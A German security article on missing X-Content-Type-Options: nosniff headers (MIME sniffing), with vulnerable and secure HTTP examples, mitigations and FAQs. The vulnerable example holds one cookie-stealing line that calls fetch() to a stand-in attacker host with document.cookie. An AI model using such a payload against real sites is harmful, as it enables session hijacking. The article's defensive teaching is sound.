Zum Inhalt springen

MIME-Sniffing nicht abgeschaltet

CWE-430CWE-79OWASP A05:2021Aktualisiert 4. September 20264 Min. Lesezeit

Fehlt der Header X-Content-Type-Options, darf der Browser selbst bestimmen, welche Art von Datei er erhalten hat, und ignoriert dabei den angegebenen Inhaltstyp. Eine Datei, die als Bild angeboten wird, aber Skriptcode enthält, kann so dennoch als JavaScript auf Ihrer Domain ausgeführt werden.

Ein Server teilt bei jeder Datei mit, was sie ist: ein Bild, ein Stylesheet, ein Stück JavaScript. Browser haben das lange nicht ohne Weiteres geglaubt, und dieser Zweifel ist zu einem Sicherheitsproblem geworden. In diesem Artikel lesen Sie, wie sich ein hochgeladenes Bild wie ein Skript verhalten kann und warum ein kurzer Header das schließt.

Was ist MIME-Sniffing?

MIME-Sniffing bezeichnet das Verhalten, bei dem ein Browser selbst auf den Inhalt einer Datei sieht, um deren Typ zu bestimmen, statt sich auf den vom Server mitgesendeten Content-Type zu verlassen. Sieht der Browser etwas, das nach JavaScript aussieht, kann er beschließen, es als JavaScript zu behandeln, auch wenn der Server ausdrücklich image/png angegeben hat.

Dieses Verhalten stammt aus einer Zeit, in der viele Webserver schlecht konfiguriert waren und Seiten sonst unbrauchbar geworden wären. Der Browser war nachsichtig, ähnlich einem Zusteller, der ein Paket dennoch bei der Hausnummer abgibt, die am wahrscheinlichsten erscheint. Praktisch, bis jemand das bewusst ausnutzt.

Der Header X-Content-Type-Options: nosniff beendet diese Nachsicht. Der Browser nimmt den angegebenen Typ dann als verbindlich an und weist die Datei ab, wenn dieser Typ nicht zu dem Zusammenhang passt, in dem sie verwendet wird.

Wie missbraucht ein Angreifer MIME-Sniffing?

Das klassische Szenario verbindet einen Datei-Upload mit einem fehlenden Header. Der Angreifer braucht keine Schwachstelle in Ihrem Code; er nutzt eine Funktion, die Sie selbst angeboten haben.

Verwundbar:

HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 84

Der Server bezeichnet diese Datei ordentlich als Bild, sendet aber kein nosniff mit. Der Inhalt ist jedoch kein Bild:

/* Hochgeladen als profilfoto.png */
fetch('https://boesartig.example/x?c=' + document.cookie);

Wird diese Datei anschließend irgendwo eingebunden, etwa weil der Angreifer einem Opfer einen Link zu einer Seite schickt, die sie als Skript lädt, sieht der Browser auf den Inhalt, schließt daraus auf JavaScript und führt es aus. Und da die Datei von Ihrer Domain ausgeliefert wird, läuft dieser Code innerhalb Ihres Ursprungs, mit Zugriff auf Cookies und die DOM. Der Upload war erlaubt, der Inhaltstyp war korrekt, und das Ergebnis ist dennoch ein vollwertiger Cross-Site-Scripting-Angriff.

Sicher:

HTTP/1.1 200 OK
Content-Type: image/png
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="profilfoto.png"
Cross-Origin-Resource-Policy: same-site

Mit nosniff weigert sich der Browser, die Datei als Skript zu deuten: Der Typ ist image/png, und dabei bleibt es. Der Angriff scheitert. Content-Disposition: attachment geht einen Schritt weiter, indem die Datei als Download angeboten statt in der Seite dargestellt wird, was für von Nutzern gelieferte Dateien die sicherste Voreinstellung ist.

Schalten Sie nosniff nicht ein, ohne zuvor zu prüfen, ob Ihr Server korrekte Inhaltstypen ausliefert. Der Header macht bestehende Fehler sichtbar: Ein Stylesheet, das als text/plain ausgeliefert wird, oder eine Skriptdatei mit falschem Typ wird nach dem Einschalten abgewiesen, und dann wirkt der Header wie das Problem, obwohl er es nur ans Licht bringt.

Welche Auswirkungen hat MIME-Sniffing?

Für sich genommen ist das ein Härtungsbefund mit niedrigem Schweregrad, denn es braucht mehr als diesen fehlenden Header, um Schaden anzurichten. Der Angreifer benötigt eine Möglichkeit, Inhalte auf Ihre Domain zu bringen: einen Datei-Upload, einen Endpunkt, der Benutzereingaben zurückgibt, oder eine Exportfunktion.

Besteht diese Möglichkeit sehr wohl, verschiebt sich der Befund Richtung mittel, denn das Ergebnis läuft auf eine Skriptausführung innerhalb Ihres Ursprungs hinaus. Das bedeutet Zugriff auf Session-Cookies ohne HttpOnly, auf den Inhalt der Seite und auf alles, was der angemeldete Nutzer darf. Eine zweite, weniger bekannte Variante betrifft JSON-Endpunkte: Ohne nosniff kann eine als JSON gedachte Antwort unter bestimmten Umständen als Skript geladen werden, womit Daten aus dieser Antwort einer fremden Seite preisgegeben werden.

Was diesen Befund vor allem kennzeichnet, ist das Verhältnis von Aufwand und Nutzen. Das Einschalten des Headers kostet eine Zeile Konfiguration und hat bei einem korrekt eingerichteten Server keinerlei Nebenwirkung.

Wie spürt man MIME-Sniffing auf?

Die Prüfung lässt sich leicht automatisieren: einige Antworten abrufen und sehen, ob X-Content-Type-Options: nosniff vorhanden ist. Interessanter ist, wo der Header fehlt. In der Praxis steht er häufig sehr wohl auf den HTML-Seiten, nicht aber auf der Route, die hochgeladene Dateien ausliefert, also genau dort, wo er am dringendsten gebraucht wird.

Ein Tester verbindet diese Prüfung deshalb mit der Upload-Funktion. Lässt sich eine Datei hochladen, deren Inhalt als Skript lesbar ist? Wird diese Datei von derselben Domain wie die Anwendung zurückgeliefert? Erhält sie eine Content-Disposition? Und wird der Inhaltstyp aus dem vom Nutzer angegebenen Dateinamen abgeleitet, was für sich genommen schon unzuverlässig ist? AssistSec prüft diese Kette bei einem Penetrationstest im Zusammenhang, denn das Risiko entsteht nicht aus dem fehlenden Header allein, sondern aus der Kombination mit dem, was auf Ihrer Domain landen kann.

Wie verhindert man MIME-Sniffing?

  • Senden Sie X-Content-Type-Options: nosniff bei jeder HTTP-Antwort mit, auch bei statischen Dateien und API-Routen.
  • Sorgen Sie dafür, dass Ihr Server für jeden Dateityp einen korrekten Content-Type ausgibt, bevor Sie den Header erzwingen.
  • Liefern Sie von Nutzern gelieferte Dateien mit Content-Disposition: attachment aus, damit sie heruntergeladen und nicht ausgeführt werden.
  • Hosten Sie hochgeladene Dateien bevorzugt auf einer eigenen Domain, damit eine Skriptausführung nie in den Ursprung der Anwendung fällt.
  • Leiten Sie den Inhaltstyp serverseitig aus einer kontrollierten Liste ab, nicht aus dem vom Nutzer angegebenen Dateinamen.
  • Kombinieren Sie den Header als zweite Schicht mit einer strengen Content Security Policy.
  • Prüfen Sie, ob auch Ihr CDN und Reverse Proxy den Header durchreichen und ihn nicht stillschweigend entfernen.

Quellen

Häufige Fragen

Hat nosniff Nachteile?

In der Praxis kaum, sofern Ihr Server korrekte Inhaltstypen ausliefert. Das Risiko bei der Einführung besteht gerade darin, dass Sie feststellen, dass er es nicht tut: Ein Stylesheet, das als text/plain ausgeliefert wird, wird nach dem Einschalten von nosniff abgewiesen. Das ist kein neues Problem, sondern ein bestehender Fehler, der sichtbar wird.

Wird dieser Header benötigt, wenn ich bereits eine CSP habe?

Sie ergänzen einander. Eine strenge CSP kann verhindern, dass eine als Skript ausgeführte Datei tatsächlich etwas Nützliches tut, doch nosniff verhindert, dass die falsche Deutung überhaupt stattfindet. Beides sind günstige Maßnahmen, und es gibt keinen Grund zu wählen.

Woher stammt MIME-Sniffing eigentlich?

Aus einer Zeit, in der viele Webserver falsche oder fehlende Inhaltstypen ausgaben. Browser begannen deshalb, selbst auf den Inhalt zu sehen, damit Seiten dennoch korrekt dargestellt wurden. Diese Nachsicht ist nie ganz verschwunden und ist inzwischen ein Sicherheitsrisiko statt einer Lösung.

Schützt das vor allen Problemen mit Datei-Uploads?

Nein, es ist eine Schicht. Nosniff verhindert, dass eine Datei als anderer Typ gedeutet wird, nicht aber, dass eine gefährliche Datei gespeichert oder vom Server falsch verarbeitet wird. Liefern Sie hochgeladene Dateien bevorzugt von einer eigenen Domain aus und stets mit Content-Disposition attachment.

Verwandte Artikel

Zum Suchen / drücken · Esc